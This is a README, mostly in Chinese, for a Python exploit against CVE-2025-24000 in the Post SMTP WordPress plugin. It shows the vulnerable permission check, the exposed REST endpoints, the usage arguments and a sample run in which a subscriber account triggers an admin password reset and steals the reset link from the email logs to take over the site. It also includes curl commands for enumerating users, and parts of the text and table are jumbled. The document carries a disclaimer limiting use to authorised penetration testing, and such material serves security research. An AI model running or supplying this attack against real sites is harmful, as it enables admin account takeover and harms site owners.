
Short Python script for exploiting CVE-2025–24000 based on this blog post: https://medium.com/@security_56355/from-subscriber-to-admin-reproducing-cve-2025-24000-in-wordpress-post-smtp-plugin-8105ff85e274
该脚本利用了 CVE-2025-24000,这是 Post SMTP WordPress 插件(版本 ≤ 3.2.0)中的一个高危访问控制缺陷。它允许任何具有低权限账户(例如订阅者)的认证用户访问该插件的 REST API 邮件日志,窃取管理员密码重置链接,并接管管理员账户。
该漏洞源于插件 REST API 中存在缺陷的权限检查:
// Vulnerable code (≤ 3.2.0)
public function get_logs_permission() {
return is_user_logged_in();
}
任何登录用户,无论其角色如何,都可以访问本应为管理员预留的端点:
GET /wp-json/psd/v1/get-logsGET /wp-json/psd/v1/get-details?id=<id>&type=show_viewPOST /wp-json/psd/v1/resend-email/wp-admin/ 获取 WP REST nonce/wp-adminrequests 库(pip install requests)python3 exploit_cve_2025_24000.py \
--url <wordpress_base_url> \
--username <your_subscriber_username> \
--password <your_subscriber_password> \
--email <admin_username_or_email>
| 参数 | 描述 |
|---|---|
--url | WordPress 站点的基本 URL(例如 ) |
python3 exploit_cve_2025_24000.py \
--url http://samurai.local/samurai/ \
--username attacker \
--password Password1 \
--email shogun
[*] Logging in as attacker...
[+] Logged in successfully as attacker
[*] Fetching WP REST nonce from wp-admin...
[+] Got nonce: a5f398e081
[*] Triggering password reset for: shogun
[+] Password reset triggered.
[*] Fetching email logs...
[+] Got logs response.
[*] Checking 1 email(s) for reset link...
[+] RESET LINK FOUND:
http://samurai.local/samurai/wp-login.php?action=rp&key=XXXXXXXXXXXX&login=shogun
[*] Visit the link above to set a new admin password and take over the site.
curl -s 'http://target.local/wp-json/wp/v2/users' | python3 -m json.tool
curl -s 'http://target.local/?author=1' -I | grep -i location
此工具仅用于授权的渗透测试和教育目的。请勿在未经明确许可的系统上使用。
http://target.local/wordpress/--username | 你的低权限 WordPress 用户名 |
--password | 你的低权限 WordPress 密码 |
--email | 要重置的管理员用户名或邮箱 |